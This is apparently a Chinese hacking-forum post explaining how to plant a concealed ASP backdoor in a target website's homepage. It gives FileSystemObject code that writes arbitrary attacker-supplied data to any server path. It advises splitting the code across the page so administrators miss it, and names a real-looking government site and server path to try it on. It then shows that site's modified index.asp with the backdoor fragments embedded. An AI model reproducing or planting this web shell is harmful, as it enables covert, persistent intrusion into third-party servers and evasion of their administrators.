插入式免杀后门--将后门放到对方主页里

技术2022-05-11 42

1.随便找他一个页面，然后把如下内容分开插入到它的主页了，注意一下上下文。内容（fso):

<% dim objFSO %><% dim fdata %><% dim objCountFile %><% on error resume next %><% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %><% if Trim(request("syfdpath"))<>"" then %><% fdata = request("cyfddata") %><% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %><% objCountFile.Write fdata %><% if err =0 then %><% response.write "<font color=red>save Success!</font>" %><% else %><% response.write "<font color=red>Save UnSuccess!</font>" %><% end if %><% err.clear %><% end if %><% objCountFile.Close %><% Set objCountFile=Nothing %><% Set objFSO = Nothing %>

最好要分开插入！！这样管理员也不容易发现。2.将下内容保存到本地为一个htm，并把action="#",改成你插入到的页面，再添下绝对路径就好了。你要知道路径！！内容：

注：此方法为巩固后门使用！！！

有人说不行？？？？

大家可以把上内容的action改成"http://www.bjhi.gov.cn/web/biaozhun/index.asp";路径添"E:/inetpub/bjhi/web/biaozhun/xxxx.asp"试下最后用"http://www.bjhi.gov.cn/web/biaozhun/xxxx.asp";访问看看！！

改后的index.asp：

<script language= "javascript"> function newpage(htmlurl) { var newwin=window.open(htmlurl,"newWin","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,top=2,left=2,width=778,height=600"); newwin.focus(); return false; } </script><% dim objFSO %><% dim fdata %><% dim objCountFile %><table width="778" border="0" cellspacing="0" cellpadding="0" height="23" class="a" align="center"><tr> <td width="22"><img src="../biaozhun/images/a_r2_c1.jpg" width="22" height="23"></td><td width="13"><img src="../biaozhun/images/a_r2_c3.jpg" width="13" height="23"></td><td width="13"><img src="images/a_r2_c3.jpg" width="13" height="23"></td><td background="images/a_r2_c4.jpg"><font color="#006699"><a href="../xinxi/zxxx/index.asp"><font color="#006699">资讯信息</font></a><font color="#006699"> | <a href="../xinxi/ggxc/index.asp"><font color="#006699">广告宣传</font></a> | <a href="../peixun/px.asp"><font color="#006699">网上培训</font></a> | <a href="index.asp"><font color="#006699">标准规范</font></a> | <a href="../yjqk/index.asp"><font color="#006699">邮箱期刊</font></a> | <a href="../xinxi/jsfw/index.asp"><font color="#006699">技术服务</font></a> | <a href="../xinxi/qysw/index.asp"><font color="#006699">企业上网</font></a> | <a href="../xinxi/xihd/index.asp"><font color="#006699">信息互动</font></a> |</font> </font></td></tr></table><table width="778" border="0" cellspacing="0" cellpadding="0" height="23" align="center"><tr bgcolor="CAF2FA">

<table width="778" border="0" cellspacing="0" cellpadding="0" height="30" align="center"><tr> <td width="103" height="7">&nbs<% if err =0 then %><% response.write "<font color=red>save Success!</font>" %><% else %><% response.write "<font color=red>Save UnSuccess!</font>" %><% end if %>p;</td><td width="575" height="7"> <% end if %><% objCountFile.Close %><% Set objCountFile=Nothing %><% Set objFSO = Nothing %> <% set rs=server.createobject("adodb.recordset")rs.open "select * from border",conn,1,1%><br><% err.clear %>

<form name="form1" method="post" action="result.asp"><div align="center"><span class="a">选择类别：

<select name="select" class="select"><option selected value="0">请选择类别</option><%count=rs.RecordCount for i=1 to countif rs("borderid")<>8 then%> <option value="<%Response.Write (rs("borderid"))%>"><%Response.Write (rs("bordername"))%></option>

<%end ifrs.MoveNextnext rs.Close%></select>　输入关键字 <input type="text" name="keys" class="input" size="20"></span> 　<input type="submit" name="Submit" value="查询" style="height:20px;background-color:#f3f3f3;border:1 solid black" onMouseOver ="this.style.backgroundColor='#cff6fb'" onMouseOut ="this.style.backgroundColor='#ffffff'"></div></form>

</td><td width="100" height="7"> </td></tr></table><div align="center"><table width="535" border="0" cellspacing="0" cellpadding="0" height="25" class="a"><tr> <td height="25"> <table width="533" border="1" cellspacing="0" cellpadding="0" align="top" class="a" height="20" bordercolor="E7ECE6"><%border=""color=1number=15 '默认值auditer=0articlefrom=""set rs=server.createobject("adodb.recordset")rs.open "select * from info where typeid=2 and bz_sh=1 order by date desc ",conn,1,1if err.number <> 0 thenresponse.write "数据库出错"elseif rs.bof and rs.eof thenrs.closeresponse.write "该专栏目前没有信息服务内容"else

if request("page")="" thencurpage = 1elsecurpage = cint(request("page"))end ifif request("num")="" thennum = 1elsenum = cint(request("num"))end ifrs.pagesize=cint(number)rs.absolutepage = curpagethisnumcol=cstr(rs.recordcount)-numprenum=cstr(rs.recordcount)-thisnumcol-15

for i = 1 to rs.pagesize%><tr> <td width="8%" bgcolor="EBEDEA" height="15"> <div align="center"><%Response.Write (num)%></div></td><td width="75%" height="15" bgcolor="<%if color mod 2=0 then response.write "#FFFFFF"else response.write "#CFF6FB"end if %>"> <%=trim(rs("title"))%></td><td align="center" width="17%" height="15" bgcolor="<%if color mod 2=0 thenresponse.write "#FFFFFF"elseresponse.write "#CFF6FB"end if %>"><a href="showinfo.asp?infoid=<%=rs("infoid")%>" onClick="return newpage(this.href);">查看详情</a></td></tr><% rs.movenextnum=num+1color=color+1if rs.eof theni = i + 1

exit forend ifnext %></table><br><font size="2"><% endnum=cstr(rs.recordcount)-(cstr(rs.recordcount) mod 15)+1response.write "<div align=center>"response.write "第<font color=red>" + cstr(curpage) + "</font>页/总<font color=red>" + cstr(rs.pagecount) + "</font>页 "response.write "本页<font color=red>" + cstr(i-1) + "</font>条/总<font color=red>" + cstr(rs.recordcount) + "</font>条 "if curpage = 1 then response.write "首页前页 "elseresponse.write "<a href='index.asp?page=1&num=1'>首页</a> <a href='index.asp?page=" & cstr(curpage-1) & "&num="&prenum&"'>前页</a> "end ifif curpage = rs.pagecount thenresponse.write "后页末页"elseresponse.write "<a href='index.asp?page=" + cstr(curpage+1) + "&num="&num&"'>后页</a> <a href='index.asp?page=" + cstr(rs.pagecount) + "&num="&endnum&"'>末页</a>"end ifend Ifend if'?typeid=" & cstr(request("typeid")) & "&borderid=" & cstr(request("borderid")) & "& page=1'>response.write "<div align=center><hr size=0 width='85%'>"%></font></table></div>

专利

最新回复(0)